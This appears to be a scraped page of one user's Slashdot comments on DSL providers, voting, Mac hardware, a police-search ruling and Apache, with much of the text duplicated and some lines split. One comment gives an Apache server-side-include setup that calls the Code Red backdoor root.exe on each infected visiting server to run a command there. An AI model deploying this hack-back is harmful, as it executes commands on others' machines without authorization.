Sadly, you are correct. I was suggesting, however, that instead of trying to vote out current bad politicians, we might have a better off going right for approval voting.
Just because you're working to promote changing the system doesn't mean you can forget about how to work within system we have now, and it's rather silly to suggest that others do so.
"Faith" means acccepting something which defies logic,
Absolutely wrong. Faith means beliving something you haven't proven. I believe, on faith, that Cleveland exists. I don't know that I've ever met anyone from there, and I've never been there myself. Sure, it's logical to believe it - but I don't have proof, so I MUST believe it on faith, if I am to believe it at all.
Yes, this is a silly example, but I hope it demonstrates my point.
Corporate, monopoly-bearing arrogance at its very worst.
Covad is not a monopoly. They're the little guy, trying to compete against the monopoly. The problems you had was probably due to one employee who was slacking off, and it's quite likely he was fired not long after you had that experience. Covad cannot afford to employ more field techs in a particular region than are needed; the best they can do is replace the ones who don't do their jobs.
It's quite possible the tech who did finally show up was a different tech. Sure, he should have apologized on behalf of his company, but they probably didn't even tell him you'd had two missed appointments already. He was just sent there to do a job, and he did it.
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No, SBC is not switching everything over to RTs and eliminating direct copper loops to the COs. They are installing a hell of a lot of RTs, which is fantastic for the beyond 18,000 feet who can't get service through Covad anyway.
I dealt with Covad when I worked at Earthlink, and they were WONDERFUL to deal with! They gave us all the tools we could possibly want to monitor connection status from the DSLAM, we had access to their trouble tickets online, and they were quick to respond to problems. Plus, they offered better speed and availability than many of the ILECs.
It sounds like they may have gone downhill since then, I don't know. Now that they're back on their feet financially, I'd still have to recommend Covad if they offer service in your area (they have no DSLAM in my CO so I'm using Qwest as my LEC). Of course, the choice of ISP may be more important to you; some ISPs will only work with certain LECs (my current employer does not offer service through Covad).
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Covad could run their own version of Project Pronto, too. It just takes money.
Not exactly - SBC is running a copper loop from EU's premise to an RT, then fiber from the RT to the CO. There's no space in that cable vault to lease to Covad, is there? So, Covad can't install their own RT out there (and it'd be REALLY expensive anyway). Covad could um.. run a dry pair from the EU's premise to their own RT, but um, that's really not economical at all. They could run a wet line, but then they'd have to provide voice, and that starts getting messy with the PUC from what I understand.
Otherwise, you're absolutely right, SBC is extending the service to customers too far away from the CO, which is great, but it's not available to CLECs, but that's OK because the CLECs can't provide service at that distance right now anyway.
Alas, there's too much prior art now to file it -- unless, of course, the patent office were to start approving patents with no regard whatsoever for their validity....
The only thing that we know about them - is that they send us 1-photon thick ray. It's entirely possible that we are enclosed in some sphere made as a large planetarium and the stars are just small sphere holes... The diameter of sphere can be 1 light year or even less...
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As a side-note, does anyone have a theory on how Apple will name their products in the future once the 10.x numbers run out for them (or they get sick of 10.x)? Mac OS XIV anyone?
I'm hoping for Mac OS 11, and I'm hoping we don't see it for a good long while. I want to see at least 10.3, 10.5 and 10.6 first, and I want each one to be as significant an improvement as 10.2 was over 10.1.
The lack of fan = the lack of ventilation. Maybe I should have made that a little more clear.
Lack of ventilation = blocking the airflow by covering the holes somehow. Maybe I should have made that a little more clear. With a fan it would be more tolerant of that, but if you don't block it off, it works just fine without a fan. My mom is using hers in Guatemala City with no problems.
Too bad a lot of G4 owners have reported case-cracking due to the lack of fan, eh?
Actually the tiny cracks some people reported are a manufacturing defect, and have absolutely nothing to do with heat or the lack of a fan. The cracks are mostly cosmetic, and do not really affect anything but the otherwise flawless appearance of the plastic.
The G4 Cube has been known to overheat, but usually because of a lack of ventilation or something. With no fan, it is rather sensitive to that sort of thing. Don't ever set anything on top of it, and you might not want to keep it in a hot room.
Owner was Damon Stoudamire of the Portland Trailblazers, and while looking for a burglar, they opened a crawlspace and found a pound of marijuana. The judge actually ruled not only that the evidence could not be used against him in court, but that the police actually had no right to enter and search the house at all without a warrant, despite the fact that the front door was open, the alarm was going off, and two neighbors had called the police.
You probably have a copper loop from your house to a box nearby in your neighborhood, with a fiber line from that box to the phone company's Central Office. The phone company can install a remote terminal at that box, and connect the end of your copper loop to that, so you can still get DSL. The actual DSL part of the line is just from your house to that box; from there the data is encapsulated in ATM cells and sent over fiber, and everything else works as normal. The good news is, your copper loop is under 2,000 feet, so you should have a fantastic connection. The bad news is, a remote terminal may be less reliable (and harder to service) than a DSLAM in the CO, so it may go down from time to time. The other bad news is, the phone comapny is probably too cheap to install one in your neighborhood, but it doesn't hurt to keep asking.
Also $100/mo just to "maintain" security and web-controlled sprinklers is insane -- those things are just devices, they run themselves, why the monthly fee?
Have you ever tripped over a sprinker head? It happens. When it does, who replaces it?
A security alarm is great, but wouldn't it be better if a security officer actually came out to your house and tried to catch the burglar if you weren't home? A judge here recently ruled that police have no right to enter your home if the front door is open and the burglar alarm is sounding, unless they get your permission first, but someone working for a security company you're paying a monthly fee to would clearly be able to do that.
(Hopefully the ruling I mentioned will be overturned; in the mean time local police departments have said they will continue to do their jobs instead of just driving away like the judge seems to think they should.)
My friend and I once invented a programming language and wrote a compiler for it in QBASIC. It's nowhere near complete enough to be useful, but it does actually build.com files that execute in DOS.
Doesn't the multicast DNS stuff always just use a.local TLD? So, there wouldn't be any conflict with a real DNS system outside of that TLD. From what little I've seen, that was the impression I got.
This isn't a direct answer to your question, but if you want to be secure in your email, you should be using HTTPS, (or some other secure protocol).
If you're using Apache, just set up mod_ssl, and your webmail package shouldn't care if the connection is encrypted or not. The Web server handles that.
Slashdot Mirror
Here is the picture that "says it all," since it's being Slashdotted.
Sadly, you are correct. I was suggesting, however, that instead of trying to vote out current bad politicians, we might have a better off going right for approval voting.
Just because you're working to promote changing the system doesn't mean you can forget about how to work within system we have now, and it's rather silly to suggest that others do so.
Defensive voting is an abomination that we currently are forced to deal with. We should be implementing approval voting.
Except that defensive voting is a currently available option, while approval voting is not - yes?
"Faith" means acccepting something which defies logic,
Absolutely wrong. Faith means beliving something you haven't proven. I believe, on faith, that Cleveland exists. I don't know that I've ever met anyone from there, and I've never been there myself. Sure, it's logical to believe it - but I don't have proof, so I MUST believe it on faith, if I am to believe it at all.
Yes, this is a silly example, but I hope it demonstrates my point.
Corporate, monopoly-bearing arrogance at its very worst.
Covad is not a monopoly. They're the little guy, trying to compete against the monopoly. The problems you had was probably due to one employee who was slacking off, and it's quite likely he was fired not long after you had that experience. Covad cannot afford to employ more field techs in a particular region than are needed; the best they can do is replace the ones who don't do their jobs.
It's quite possible the tech who did finally show up was a different tech. Sure, he should have apologized on behalf of his company, but they probably didn't even tell him you'd had two missed appointments already. He was just sent there to do a job, and he did it.
No, SBC is not switching everything over to RTs and eliminating direct copper loops to the COs. They are installing a hell of a lot of RTs, which is fantastic for the beyond 18,000 feet who can't get service through Covad anyway.
I dealt with Covad when I worked at Earthlink, and they were WONDERFUL to deal with! They gave us all the tools we could possibly want to monitor connection status from the DSLAM, we had access to their trouble tickets online, and they were quick to respond to problems. Plus, they offered better speed and availability than many of the ILECs.
It sounds like they may have gone downhill since then, I don't know. Now that they're back on their feet financially, I'd still have to recommend Covad if they offer service in your area (they have no DSLAM in my CO so I'm using Qwest as my LEC). Of course, the choice of ISP may be more important to you; some ISPs will only work with certain LECs (my current employer does not offer service through Covad).
Covad could run their own version of Project Pronto, too. It just takes money.
Not exactly - SBC is running a copper loop from EU's premise to an RT, then fiber from the RT to the CO. There's no space in that cable vault to lease to Covad, is there? So, Covad can't install their own RT out there (and it'd be REALLY expensive anyway). Covad could um.. run a dry pair from the EU's premise to their own RT, but um, that's really not economical at all. They could run a wet line, but then they'd have to provide voice, and that starts getting messy with the PUC from what I understand.
Otherwise, you're absolutely right, SBC is extending the service to customers too far away from the CO, which is great, but it's not available to CLECs, but that's OK because the CLECs can't provide service at that distance right now anyway.
Alas, there's too much prior art now to file it -- unless, of course, the patent office were to start approving patents with no regard whatsoever for their validity....
Start?
The only thing that we know about them - is that they send
us 1-photon thick ray. It's entirely possible that we are enclosed in some sphere made as a large planetarium and the stars are just small sphere holes...
The diameter of sphere can be 1 light year or even less...
They move.
I made a .htaccess file containing:
.ida .ida
+ localhost+%22Your+Web+server+has+been+infected+wit h+a+virus.++I+know+this+because+your+server+tried+ to+infect+my+server.++I+sent+you+this+message+beca use+I+am+a+nice+guy.++Someone+else+may+not+be+so+n ice,+and+this+virus+lets+them+steal+your+data,+era se+your+hard+drive,+or+anything+else+they+want.++P lease+fix+your+server,+or+take+it+offline.%22 >/dev/null 2>/dev/null" -->
AddType text/html
AddHandler server-parsed
Then made a file called default.ida that looks like this (the part between <!-- and --> is all on one big long line):
<HTML>
<HEAD>
<TITLE>Go away.</TITLE>
</HEAD>
<BODY>
This server runs Apache on Linux. It is immune to Microsoft viruses and worms.
<!--#exec cmd="/usr/bin/lynx -dump http://$REMOTE_ADDR/scripts/root.exe\?/c+net+send
</BODY>
</HTML>
Oh come on, most of the Mozilla developers mean well! What's the worst that could happen?
(kidding!)
As a side-note, does anyone have a theory on how Apple will name their products in the future once the 10.x numbers run out for them (or they get sick of 10.x)? Mac OS XIV anyone?
I'm hoping for Mac OS 11, and I'm hoping we don't see it for a good long while. I want to see at least 10.3, 10.5 and 10.6 first, and I want each one to be as significant an improvement as 10.2 was over 10.1.
The lack of fan = the lack of ventilation. Maybe I should have made that a little more clear.
Lack of ventilation = blocking the airflow by covering the holes somehow. Maybe I should have made that a little more clear. With a fan it would be more tolerant of that, but if you don't block it off, it works just fine without a fan. My mom is using hers in Guatemala City with no problems.
Too bad a lot of G4 owners have reported case-cracking due to the lack of fan, eh?
Actually the tiny cracks some people reported are a manufacturing defect, and have absolutely nothing to do with heat or the lack of a fan. The cracks are mostly cosmetic, and do not really affect anything but the otherwise flawless appearance of the plastic.
The G4 Cube has been known to overheat, but usually because of a lack of ventilation or something. With no fan, it is rather sensitive to that sort of thing. Don't ever set anything on top of it, and you might not want to keep it in a hot room.
Owner was Damon Stoudamire of the Portland Trailblazers, and while looking for a burglar, they opened a crawlspace and found a pound of marijuana. The judge actually ruled not only that the evidence could not be used against him in court, but that the police actually had no right to enter and search the house at all without a warrant, despite the fact that the front door was open, the alarm was going off, and two neighbors had called the police.
You probably have a copper loop from your house to a box nearby in your neighborhood, with a fiber line from that box to the phone company's Central Office. The phone company can install a remote terminal at that box, and connect the end of your copper loop to that, so you can still get DSL. The actual DSL part of the line is just from your house to that box; from there the data is encapsulated in ATM cells and sent over fiber, and everything else works as normal. The good news is, your copper loop is under 2,000 feet, so you should have a fantastic connection. The bad news is, a remote terminal may be less reliable (and harder to service) than a DSLAM in the CO, so it may go down from time to time. The other bad news is, the phone comapny is probably too cheap to install one in your neighborhood, but it doesn't hurt to keep asking.
Also $100/mo just to "maintain" security and web-controlled sprinklers is insane -- those things are just devices, they run themselves, why the monthly fee?
Have you ever tripped over a sprinker head? It happens. When it does, who replaces it?
A security alarm is great, but wouldn't it be better if a security officer actually came out to your house and tried to catch the burglar if you weren't home? A judge here recently ruled that police have no right to enter your home if the front door is open and the burglar alarm is sounding, unless they get your permission first, but someone working for a security company you're paying a monthly fee to would clearly be able to do that.
(Hopefully the ruling I mentioned will be overturned; in the mean time local police departments have said they will continue to do their jobs instead of just driving away like the judge seems to think they should.)
Hey man, don't diss QBASIC!
.com files that execute in DOS.
My friend and I once invented a programming language and wrote a compiler for it in QBASIC. It's nowhere near complete enough to be useful, but it does actually build
even if Google did have that kind of storage space available (every term, for every user, with a link between each?)
Oh no, they don't have much space available at all. I bet they're constantly struggling to free up a few MB here and there.
Oh yeah, that's right, they have a cached copy of most of the World Wide Web and the largest Usenet archive in existence! Hmm.
Doesn't the multicast DNS stuff always just use a .local TLD? So, there wouldn't be any conflict with a real DNS system outside of that TLD. From what little I've seen, that was the impression I got.
It'd be neat to be able to swap out the FireWire card for an AirPort card. Aren't they both some form of PCMCIA?
This isn't a direct answer to your question, but if you want to be secure in your email, you should be using HTTPS, (or some other secure protocol).
If you're using Apache, just set up mod_ssl, and your webmail package shouldn't care if the connection is encrypted or not. The Web server handles that.
However, this article snapped me out of my "Stephen Jobs field effect" judgement fog
It's called the Reality Distortion Field, or RDF.
I think it's rather petty and childish, especially considering that there are little to no other alternatives for DVD burning on OS X outside of iDVD.
And you're more than welcome to use those, so why do you need to use iDVD illegally?
Because iDVD is so vastly superior to the other alternatives, perhaps?